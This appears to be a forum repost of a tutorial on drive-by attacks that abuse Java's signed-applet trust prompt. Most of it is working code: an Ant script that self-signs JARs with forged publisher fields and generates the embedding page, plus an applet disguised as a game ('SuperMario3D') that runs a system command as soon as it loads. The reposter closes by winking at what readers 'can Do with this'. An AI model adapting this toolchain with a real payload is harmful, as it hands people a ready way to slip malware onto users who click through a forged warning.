ein wirklich sehr interessantes Tutorial, sehr empfehlenswert.

From Wikipedia, the free encyclopedia, drive-by download is: Download of spyware, a computer virus or any kind of malware that happens without knowledge of the user. Drive-by downloads may happen by visiting a website, viewing an e-mail message or by clicking on a deceptive popup window: the user clicks on the window in the mistaken belief that, for instance, it is an error report from his own PC or that it is an innocuous advertisement popup; in such cases, the “supplier” may claim that the user “consented” to the download though he was completely unaware of having initiated a malicious software download. So what is this then?



For those of you who have never seen a warning message like the one above, this is the default dialog box you get from the Java Runtime when you run cryptographically signed applets. Signed applets are different when compared to the unsigned ones. Basically they defer in terms of their security sandbox and level of privilege. Signed applets can do anything that your desktop applications can do, although they run from the browser.

The one million dollar question is: How is that secure? and Should SUN rethink the security of their platform? We know that unaware users will approve anything just to get their game running. This type of attack is by far the simplest to perform and does not relay on any particular kind of vulnerability. The Java Runtime is the only embeddable object which gives such a degree of access from simple Web pages. Flash, Adobe, and even Signed JavaScript (disabled by default) wont allow you to do all of these, mainly because it is highly insecure!

I know that a lot of angry Java developers and many military grade (what’s that?) exploit hunters may object but let’s be honest here for a moment. Most of the hacks occur due to simple human mistakes. In the case of the Java Runtime, there is 50% chance to make the wrong choice. I think that malware authors like this figure a lot, especially when no vulnerability is required to perform the hack. Not to mention that the information displayed inside the security warning box can be easily forged in such a way that the attackers can increase the their chances by making the user believe they are doing the right thing.

Over the years, I’ve been using this type of attack in a number of scenarios and I am sorry to say but it works so well that it almost feels surreal. The following ant script is a tool that I wrote long time ago to compile and sign Applets and JAR files in a few simple steps. I use it every time I can, just to prove that having Java enabled on workstation part of a large enterprise is kind of a bad idea.

Code:
<project name="sign" default="sign" basedir=".">
<property name="key.CN" value="GNUCITIZEN"/>
<property name="key.OU" value="GNUCITIZEN"/>
<property name="key.O" value="GNUCITIZEN"/>
<property name="key.C" value="UK"/>

<property name="applet.class" value=""/>
<property name="applet.width" value="200"/>
<property name="applet.height" value="200"/>

<property name="target" value="target"/>
<property name="jar" value="${target}.jar"/>
<property name="htm" value="${target}.htm"/>

<target name="compile">
<javac srcdir="."/>
</target>

<target name="pack" depends="compile">
<jar basedir="." destfile="${jar}"/>
</target>

<target name="sign">
<delete file=".tmp.jks"/>
<genkey alias="key" storepass="abc123" keystore=".tmp.jks" keyalg="RSA" validity="365">
<dname>
<param name="CN" value="${key.CN}"/>
<param name="OU" value="${key.OU}"/>
<param name="O" value="${key.O}"/>
<param name="C" value="${key.C}"/>
</dname>
</genkey>
<signjar jar="${jar}" alias="key" storepass="abc123" keystore=".tmp.jks"/>
<delete file=".tmp.jks"/>
</target>

<target name="appletize">
<echo file="${htm}" message="&lt;APPLET code=&quot;${applet.class}&quot; archive=&quot;${jar}&quot; width=&quot;${applet.width}&quot; height=&quot;${applet.height}&quot;&gt;&lt;/APPLET &gt;"/>
</target>

<target name="clean">
<delete file="${htm}"/>
<delete file=".tmp.jks"/>
<delete>
<fileset dir="." includes="*.class"/>
</delete>
</target>

<target name="wipe" depends="clean">
<delete file="${jar}"/>
</target>
</project>
Just for the purpose of demonstration, I composed a simple example you can try. The code of the applet is shown bellow. As you can see, it does nothing more but opening the Windows’ calculator application:
Code:
import java.io.*;
import java.net.*;
import java.awt.*;
import java.applet.*;
import java.awt.event.*;

public class SuperMario3D extends Applet {
public void init(){
try {
Process p = Runtime.getRuntime().exec("calc"); 
} catch (IOException e) {
//do nothing
}
}
};
The end product can be launched from the following links:

download: build.xml, SuperMario3D.java


launch: (DEMO: LAUNCHES CALCULATOR)
target.htm

Well, now since u tried it out u can see what u can Do with this(wink, wink,)
ANYWHO, Enjoy Guys

(HUGE REPS TO GNUCITIZEN AND PDP IN PARTICULAR!!!)